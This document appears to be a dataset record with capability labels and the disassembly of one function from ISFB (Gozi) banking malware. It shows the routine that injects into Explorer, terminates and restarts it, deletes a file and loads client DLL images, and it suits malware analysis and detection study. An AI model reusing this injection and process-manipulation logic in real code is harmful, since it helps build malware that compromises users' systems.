Function at 0x402130
Capabilities:
Create process on windows
Delete file
Get explorer pid
Print debug messages
Terminate process

Disassembly:
sub esp, 0x90
and dword [esp + 0x30], 0
and dword [esp + 0x34], 0
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
xor eax, eax
lea edi, [esp + 0x48]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, 0x100000
push edi
push 0x40
call esi
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, eax
push str.ISFB:_Executing_Inject..._n
push ebp
mov dword [esp + 0x28], ebp
call ebx
pop ecx
pop ecx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call ebp
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [esp + 0xa4]
lea eax, [esp + 0x44]
push eax
call fcn.00401f57
test eax, eax
je 0x4025ba
lea eax, [esp + 0x40]
push eax
call fcn.0040432b
test eax, eax
jne 0x402580
xor ecx, ecx
mov dword [esp + 0x30], ecx
lea edi, [esp + 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
stosd dword es:[edi], eax
push ecx
lea eax, [esp + 0x64]
push eax
mov dword [esp + 0x64], ecx
call sub.ntdll.dll_memset
add esp, 0xc
push 0x100000
push 0x40
call esi
mov edi, eax
push str.ISFB:_Waiting_for_Explorer...
push edi
call ebx
pop ecx
pop ecx
push edi
call ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
call edi
call fcn.00401f17
push 0x100000
push 0x40
call esi
push str.ISFB:_Waiting_for_Explorer_done
push eax
mov dword [esp + 0x18], eax
call ebx
pop ecx
pop ecx
push dword [esp + 0x10]
call ebp
push dword [esp + 0x10]
call edi
call dword [sym.imp.USER32.dll_GetShellWindow]
test eax, eax
je 0x40223a
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_GetShellWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
jmp 0x40223f
and dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
test eax, eax
je 0x40227d
call fcn.00404177
test eax, eax
jne 0x40227d
push 0x100000
push 0x40
call esi
push dword [esp + 0x18]
mov dword [esp + 0x14], eax
push str.ISFB:_Injected_into_Explorer__d_without_restart
push eax
call ebx
add esp, 0xc
push dword [esp + 0x10]
call ebp
push dword [esp + 0x10]
call edi
jmp 0x402576
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x30]
push eax
call fcn.00402067
cmp dword [esp + 0x18], 0
mov dword [esp + 0x24], eax
je 0x4023a3
push dword [esp + 0x18]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
je 0x402374
push 0x100000
push 0x40
call esi
push dword [esp + 0x18]
mov dword [esp + 0x18], eax
push str.ISFB:_Stopping_the_Explorer__d
push eax
call ebx
add esp, 0xc
push dword [esp + 0x14]
call ebp
push dword [esp + 0x14]
call edi
push 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push 0x100000
push 0x40
je 0x40233d
call esi
push dword [esp + 0x18]
mov dword [esp + 0x18], eax
push str.ISFB:_Waiting_for_stop_the_Explorer__d
push eax
call ebx
add esp, 0xc
push dword [esp + 0x14]
call ebp
push dword [esp + 0x14]
call edi
push dword [esp + 0x10]
call fcn.004020f1
push 0x100000
push 0x40
call esi
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esp + 0x1c]
push str.ISFB:_Stopped_the_Explorer__d__error__x
jmp 0x402353
call esi
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esp + 0x1c]
push str.ISFB:_Stopping_the_Explorer__d_failed__error__x
push dword [esp + 0x20]
call ebx
add esp, 0x10
push dword [esp + 0x14]
call ebp
push dword [esp + 0x14]
call edi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4023c6
cmp dword [esp + 0x18], 0
je 0x4023a3
push 0x100000
push 0x40
call esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esp + 0x1c]
push str.ISFB:_Stopping_the_Explorer__d_failed__error__x
push dword [esp + 0x1c]
call ebx
add esp, 0x10
jmp 0x4023ba
push 0x100000
push 0x40
call esi
push str.ISFB:_No_Explorer
push eax
mov dword [esp + 0x18], eax
call ebx
pop ecx
pop ecx
push dword [esp + 0x10]
call ebp
push dword [esp + 0x10]
call edi
lea eax, [esp + 0x20]
push eax
call fcn.004065f5
test eax, eax
je 0x402557
cmp dword [0x40c984], 0xa
push 0xd
sbb edx, edx
inc edx
pop ecx
mov dword [esp + 0x1c], edx
je 0x4023ee
push 0x1a
pop ecx
add ecx, eax
push ecx
call fcn.004013ab
test eax, eax
mov dword [esp + 0x14], eax
je 0x402545
push 0x40d0ea
push dword [esp + 0x24]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
cmp dword [esp + 0x1c], 0
je 0x402428
push 0x40d0f7
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100000
push 0x40
mov dword [esp + 0x60], 0x44
call esi
push dword [esp + 0x14]
mov dword [esp + 0x14], eax
push str.ISFB:_1_Restarting_the_Explorer_from___s__n
push eax
call ebx
add esp, 0xc
push dword [esp + 0x10]
call ebp
push dword [esp + 0x10]
call edi
push 0
call fcn.0040586f
push 0x100000
push 0x40
call esi
push dword [esp + 0x14]
mov dword [esp + 0x14], eax
push str.ISFB:_2_Restarting_the_Explorer_from___s__n
push eax
call ebx
add esp, 0xc
push dword [esp + 0x10]
call ebp
push dword [esp + 0x10]
call edi
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x5c]
push eax
xor eax, eax
push eax
push eax
push 0x4000004
push eax
push eax
push eax
push dword [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x100000
push 0x40
mov dword [esp + 0x24], eax
call esi
push dword [esp + 0x1c]
mov dword [esp + 0x14], eax
push dword [esp + 0x18]
push str.ISFB:_3_Restarting_the_Explorer_from___s____d_n
push eax
call ebx
add esp, 0x10
push dword [esp + 0x10]
call ebp
push dword [esp + 0x10]
call edi
push 1
call fcn.0040586f
xor eax, eax
cmp dword [esp + 0x1c], eax
je 0x402505
push eax
push eax
lea eax, [esp + 0x38]
push eax
call fcn.00403e2d
push dword [esp + 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esp + 0x30]
jmp 0x402531
push 0x100000
push 0x40
call esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ISFB:_Unable_to_restart_the_Explorer__error__u_n
push dword [esp + 0x18]
call ebx
add esp, 0xc
push dword [esp + 0x10]
call ebp
push dword [esp + 0x10]
call edi
push dword [esp + 0x14]
push 0
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x20]
push 0
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x24], 0
jne 0x402576
call fcn.00401f17
push dword [esp + 0x28]
call fcn.004011bf
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00401665
mov edi, 0x100000
test byte [esp + 0xa4], 8
je 0x40259c
push dword [esp + 0x48]
push 0
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x40]
push 0
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0x40
call esi
push str.ISFB:_Loading_client_DLL_images_and_initilizing_AD_CONTEXT_success._n
jmp 0x4025c4
push edi
push 0x40
call esi
push str.ISFB:_Loading_client_DLL_images_and_initilizing_AD_CONTEXT_failed._n
mov esi, eax
push esi
call ebx
pop ecx
pop ecx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x90
ret 4